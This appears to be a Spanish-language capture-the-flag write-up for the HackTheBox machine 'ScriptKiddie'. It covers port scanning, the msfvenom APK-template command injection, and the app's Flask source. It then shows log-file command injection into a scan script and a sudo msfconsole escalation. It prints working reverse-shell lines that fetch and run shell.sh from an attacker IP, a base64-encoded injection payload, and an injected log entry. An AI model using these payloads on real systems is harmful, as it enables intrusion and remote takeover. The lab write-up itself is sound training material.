ScriptKiddie es una maquina con dificultad Facil, obtuvimos acceso mediante la creacion de una plantilla apk para inyeccion de comandos. Mediante el analisis de codigo de la aplicacion web y scripts ejecutados por esta, realizamos una inyeccion de comandos para obtener acceso a un segundo usuario. Finalmente para obtener acceso como superusuario utilizamos los permisos sudo para ejecutar metasploit.
Nombre |
ScriptKiddie |
OS |
Linux |
Puntos |
20 |
Dificultad |
Facil |
IP |
10.10.10.226 |
Maker |
0xdf |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[4.5, 3.4, 5.1, 4.9, 6.6],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[3, 4, 8, 2, 6],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
RECON
NMAP
Escaneo de puertos con nmap nos muestra el puerto ssh (22) y el puerto http (5000) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
Nmap scan report for 10.129.72.163 (10.129.72.163)
Host is up (0.16s latency).
Not shown: 62106 closed ports, 3427 filtered ports
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Nmap scan report for 10.129.72.163 (10.129.72.163)
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
HTTP
Encontramos una pagina web en el puerto 80 donde se muestran 3 secciones.
- La primera opcion es para realizar un escaneo de puertos a una determinada IP utilizando
nmap
en su version 7.80
.
- La segunda, genera un payload para Linux, Windows y Android utilizando lo que parece ser
msfvenom
, donde es posible subir una template para generar el payload.
- En la tercera, realiza una busqueda de exploits utilizando
searchsploit
.
Verificamos cada uno de los parametros por posible Inyeccion de Comandos e intentar descargar algun archivo en la maquina pero no logramos nada. Además cada vez que intentavamos ejecutar algun comando nos mostraba el mensaje stop hacking me - well hack you back
.
El mensaje stop hacking me - well hack you back
dejaba en duda si la maquina realizaba algun tipo de escaneo, ping o solicitudes a nuestra maquina por lo que utilizamos wireshark para analizar los paquetes y vemos que realiza un escaneo de puertos a nuestra maquina despues de enviar algun metacaracter o algo que no fuera una letra o numero.
KID - USER
MSFVENOM - APK TEMPLATE
Realizamos una busqueda de posibles vulnerabilidades para msfvenom y encontramos una vulnerabilidad de Inyeccion de comandos a partir de un template de APK lo que nos permitiría ejecutar una shell inversa. En el exploit, editamos y agregamos nun comando para descargar y ejecutar nuestra shell inversa en la variable payload
, creamos el archivo que contiene nuestro comando, ejecutamos un mini-server con python y escuchamos el puerto con netcat.
1
2
3
4
5
6
7
8
9
10
11
|
#variable - payload
payload = '$(bash -c "$(wget -qO- 10.10.14.166/shell.sh)")'
#shell.sh
bash -i >& /dev/tcp/10.10.14.166/1338 0>&1
#local host
python -m http.server 80
#listen netcat port
nc -lvvp 1338
|
Generamos nuestro apk y lo enviamos como un template de Android ingresando una IP cualquiera.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
kali@kali:~/htb/scriptkiddie$ python3 exploit_apk_template.py
[+] Manufacturing evil apkfile
Payload: $(bash -c "$(wget -qO- 10.10.14.166/shell.sh)")
-dname: CN='|echo JChiYXNoIC1jICIkKHdnZXQgLXFPLSAxMC4xMC4xNC4xNjYvc2hlbGwuc2gpIik= | base64 -d | sh #
adding: empty (stored 0%)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
jar signed.
Warning:
The signer's certificate is self-signed.
[+] Done! apkfile is at /tmp/tmpidnixpiw/evil.apk
Do: msfvenom -x /tmp/tmpidnixpiw/evil.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null
|
Logramos obtener una shell con el usuario kid
y nuestra flag user.txt
.
Tambien logramos obtener el codigo fuente de la aplicacion.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
|
import datetime
import os
import random
import re
import subprocess
import tempfile
import time
from flask import Flask, render_template, request
from hashlib import md5
from werkzeug.utils import secure_filename
regex_ip = re.compile(r'^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$')
regex_alphanum = re.compile(r'^[A-Za-z0-9 \.]+$')
OS_2_EXT = {'windows': 'exe', 'linux': 'elf', 'android': 'apk'}
app = Flask(__name__)
@app.route('/', methods=['GET','POST'])
def index():
if request.method == 'GET' or not 'action' in request.form:
return render_template('index.html')
elif request.form['action'] == 'scan':
return scan(request.form['ip'])
elif request.form['action'] == 'generate':
return venom(request)
elif request.form['action'] == 'searchsploit':
return searchsploit(request.form['search'], request.remote_addr)
print("no valid action")
return request.form
def scan(ip):
if regex_ip.match(ip):
if not ip == request.remote_addr and ip.startswith('10.10.1') and not ip.startswith('10.10.10.'):
stime = random.randint(200,400)/100
time.sleep(stime)
result = f"""Starting Nmap 7.80 ( https://nmap.org ) at {datetime.datetime.utcnow().strftime("%Y-%m-%d %H:%M")} UTC\nNote: Host seems down. If it is really up, but blocking our ping probes, try -Pn\nNmap done: 1 IP address (0 hosts up) scanned in {stime} seconds""".encode()
else:
result = subprocess.check_output(['nmap', '--top-ports', '100', ip])
return render_template('index.html', scan=result.decode('UTF-8', 'ignore'))
return render_template('index.html', scanerror="invalid ip")
def searchsploit(text, srcip):
if regex_alphanum.match(text):
result = subprocess.check_output(['searchsploit', '--color', text])
return render_template('index.html', searchsploit=result.decode('UTF-8', 'ignore'))
else:
with open('/home/kid/logs/hackers', 'a') as f:
f.write(f'[{datetime.datetime.now()}] {srcip}\n')
return render_template('index.html', sserror="stop hacking me - well hack you back")
def venom(request):
errors = []
file = None
if not 'lhost' in request.form:
errors.append('lhost missing')
else:
lhost = request.form['lhost']
if not regex_ip.match(lhost):
errors.append('invalid lhost ip')
if not 'os' in request.form:
errors.append('os missing')
else:
tar_os = request.form['os']
if tar_os not in ['windows', 'linux', 'android']:
errors.append(f'invalid os: {tar_os}')
if 'template' in request.files and request.files['template'].filename != '':
file = request.files['template']
if not ('.' in file.filename and file.filename.split('.')[-1] == OS_2_EXT[tar_os]):
errors.append(f'{tar_os} requires a {OS_2_EXT[tar_os]} ext template file')
else:
template_name = secure_filename(file.filename)
template_ext = file.filename.split('.')[-1]
template_file = tempfile.NamedTemporaryFile('wb', suffix='.'+template_ext)
file.save(template_file.name)
else:
template_name = "None"
if errors:
return render_template('index.html', payloaderror='<br/>\n'.join(errors))
payload = f'{tar_os}/meterpreter/reverse_tcp'
outfilename = md5(request.remote_addr.encode()).hexdigest()[:12] + '.' + OS_2_EXT[tar_os]
outfilepath = os.path.join(app.root_path, 'static', 'payloads', outfilename)
try:
if file:
print(f'msfvenom -x {template_file.name} -p {payload} LHOST={lhost} LPORT=4444')
result = subprocess.check_output(['msfvenom', '-x', template_file.name, '-p',
payload, f'LHOST={lhost}', 'LPORT=4444',
'-o', outfilepath])
template_file.close()
else:
result = subprocess.check_output(['msfvenom', '-p', payload,
f'LHOST={lhost}', 'LPORT=4444', '-o', outfilepath])
except subprocess.CalledProcessError:
return render_template('index.html', payloaderror="Something went wrong")
return render_template('index.html', payload=payload, lhost=lhost,
lport=4444, template=template_name, fn=outfilename)
if __name__ == '__main__':
app.run(host='0.0.0.0')
|
PWN - USER
Realizamos una enumeracion en la carpeta del usuario pwn
y encontramos un script el cual realiza la lectura de direcciones IP o lo que contenga el archivo log que se encuentra en la carpeta de kid
y escanea 10 puertos de las distintas direcciones en segundo plano, guardandolas en un archivo por separado.
1
2
3
4
5
6
7
8
9
10
|
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
|
Despues de dar vueltas por la maquina no encontramos algo de ayuda para cambiar al usuario pwn
, pero en el codigo fuente de la aplicacion tambien se encontraba el archivo de log en donde realiza la escritura de la direccion IP que intentó “vulnerar” la aplicacion (stop hacking me - well hack you back
), por lo que quizas este archivo solo se ejecuta cada vez que alguien intenta “vulnerar” la aplicacion.
1
2
3
4
5
6
7
8
|
def searchsploit(text, srcip):
if regex_alphanum.match(text):
result = subprocess.check_output(['searchsploit', '--color', text])
return render_template('index.html', searchsploit=result.decode('UTF-8', 'ignore'))
else:
with open('/home/kid/logs/hackers', 'a') as f:
f.write(f'[{datetime.datetime.now()}] {srcip}\n')
return render_template('index.html', sserror="stop hacking me - well hack you back")
|
Utilizamos pspy
para verificar si este archivo era ejecutado, confirmamos que dicho archivo se ejecuta y lo hace el usuario pwn
.
De cierta forma debemos de ejecutar comandos ingresando estos en el archivo /home/kid/logs/hackers
para que scanlosers.sh
lo ejecute, lo hacemos ingresando una fecha como lo hace la aplicacion o cualquier otra cosa pero que contenga un espacio y una direccion IP agregando nuestro comando entre punto y coma y finalizar con numeral (IP; comando ;#
) de tal forma que cuando el archivo ejecute el escaneo a la direccion ip tambien ejecute nuestro comando y no ejecute lo demás.
1
2
3
4
5
6
7
8
|
#Original
#sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
#[2021-02-07 02:06:28.242343] 127.0.0.1; id ;#
sh -c "nmap --top-ports 10 -oN recon/127.0.0.1; id ;#.nmap 127.0.0.1;id; 2>&1 >/dev/null" &
#Ejecucion
nmap --top-ports 10 -oN recon/127.0.0.1; id ;#
|
Agregamos nuestro comando de ejecucion de shell inversa al archivo hackers
. Generamos el mensaje (stop hacking me - well hack you back
) ingresando algun caracter como -
en la busqueda de searchsploit
para que ejecute nuestra shell inversa con lo que logramos obtener nuestra shell con el usuario pwn
.
# echo "useless words 127.0.0.1; bash -c "$(wget -qO- 10.10.14.166/shell.sh);#" > /home/kid/logs/hackers
useless words 127.0.0.1; bash -c "$(wget -qO- 10.10.14.166/shell.sh);#
PRIVILEGE ESCALATION
Hacemos una pequeña enumeracion con sudo -l -l
y vemos que tenemos permisos root (sudo) para ejecutar el comando /opt/metasploit-framework-6.0.9/msfconsole
. Ejecutamos msfconsole
y logramos obtener una “shell” con usuario root
y nuestra flag root.txt
.